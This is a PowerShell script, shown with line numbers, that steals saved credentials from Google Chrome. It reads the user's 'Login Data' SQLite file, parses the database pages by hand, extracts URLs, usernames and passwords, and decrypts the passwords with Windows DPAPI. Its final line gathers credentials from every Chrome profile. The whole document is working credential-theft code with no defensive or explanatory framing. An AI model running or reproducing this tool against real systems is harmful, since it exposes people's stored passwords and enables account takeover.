1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
Function Get-ChromeCreds(){
Param(
[String]$DbFile
)
$User = $Env:USERPROFILE
if([String]::IsNULLOrEmpty($DbFile)) {
$DbFile = "$User\AppData\Local\Google\Chrome\User Data\Default\Login Data"
}
$Stream = New-Object IO.FileStream -ArgumentList "$DbFile", 'Open', 'Read', 'ReadWrite'
Add-Type -AssemblyName System.Security
$Encoding = [System.Text.Encoding]::GetEncoding(28591)
$StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding
$BinaryText = $StreamReader.ReadToEnd()
$StreamReader.Close()
$Stream.Close()
$SerialMap = [Ordered]@{0=0; 1=1; 2=2; 3=3; 4=4; 5=5; 6=6; 7=8; 8=0; 9=0}
Function ToInt($ByteArray)
{
If ($ByteArray.Length -eq 0) { Return 0 }
[int32] $Int = 0
$x = 0
Do
{
$Int = ($Int -shl 0x8) -bor ($ByteArray[$x++])
} While ($x -lt $ByteArray.Length)
Return $Int
}
Function ParseVarint($ByteArray, [ref]$VarintSize)
{
[int32] $Val = 0
$x = 0
Do
{
$Byte = $ByteArray[$x++]
$Val = ($Val -shl 0x7) -bor ($Byte -band 0x7F)
} While ($x -lt 8 -and ($Byte -band 0x80))
$VarintSize.Value = $x
Return $Val
}
[ref]$VarintSize = 0
Function ParsePage($Page)
{
If ($Page[0] -ne 0x0D) { Return }
$NumCells = ToInt $Page[0x3..0x4]
$CellAddrStart = 0x8
$CellAddrStop = $CellAddrStart + ($NumCells * 2) - 1
For ($x = $CellAddrStart; $x -le $CellAddrStop; $x += 2)
{
$CellAddr = ToInt ($Page[$x .. ($x + 1)])
ParseCell($Page[$CellAddr .. $Page.Length])
}
}
Function ParseCell($Cell)
{
$Offset = 0
$PayloadLength = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize
$Offset += $VarintSize.Value
$RowID = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize
$Offset += $VarintSize.Value
If (($Offset + $Payload.Length) -le $Cell.Length)
{
ParsePayload $Cell[$Offset .. ($Offset + $PayloadLength - 1)]
}
}
Function ParsePayload($Payload)
{
If ($Payload.Length -eq 0) { Return }
[ref]$VarintSize = 0
$HeaderLength = ParseVarint $Payload[0 .. 8] $VarintSize
$Offset = $VarintSize.Value
$FieldSeq = @()
For ($y = $Offset; $y -lt $HeaderLength; $y++)
{
$Serial = ParseVarint $Payload[$y .. ($y + 8)] $VarintSize
$y += $VarintSize.Value - 1
Switch ($Serial)
{
{$_ -lt 0xA} { $Len = $SerialMap[$Serial]; break }
{$_ -gt 0xB}
{
If ($Serial % 2 -eq 0) { $Len = (($Serial - 0xC) / 2) }
Else { $Len = (($Serial - 0xD) / 2) }
}
}
$FieldSeq += $Len
}
$Offset = $HeaderLength
For ($f = 0; $f -lt $FieldSeq.Length; $f++)
{
$Str = $Encoding.GetString($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)])
If ($f -eq 0) { $URL = $Str }
ElseIf ($f -eq 3) { $Username = $Str }
ElseIf ($f -eq 5) { $Password = DecodePassword($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)]) }
$Offset += $FieldSeq[$f]
}
If ($Username.Length -gt 0 -and $Password.Length -gt 0)
{
$PW = New-Object System.Object
$PW | Add-Member -type NoteProperty -name URL -value $URL
$PW | Add-Member -type NoteProperty -name Username -value $Username
$PW | Add-Member -type NoteProperty -name Password -value $Password
$PW
}
}
Function DecodePassword($Password)
{
$P = $Encoding.GetBytes($Password)
Try
{
$Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Return [System.Text.Encoding]::Default.GetString($Decrypt)
}
Catch { Return "" }
}
If ((Compare-Object $BinaryText[0x0 .. 0x5] @('S', 'Q', 'L', 'i', 't', 'e')) -ne $null)
{
Break
}
$NumPages = ToInt($BinaryText[0x1C .. 0x1F])
$PageSize = ToInt($BinaryText[0x10 .. 0x11])
For ($x = 0x2; $x -lt $NumPages; $x++)
{
$PageStart = ($x * $PageSize)
ParsePage $BinaryText[$PageStart .. ($PageStart + $PageSize - 1)]
}
}
Get-ChildItem "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data" -R -Filter "Login Data" | ForEach-Object -Process {Get-ChromeCreds $_.FullName}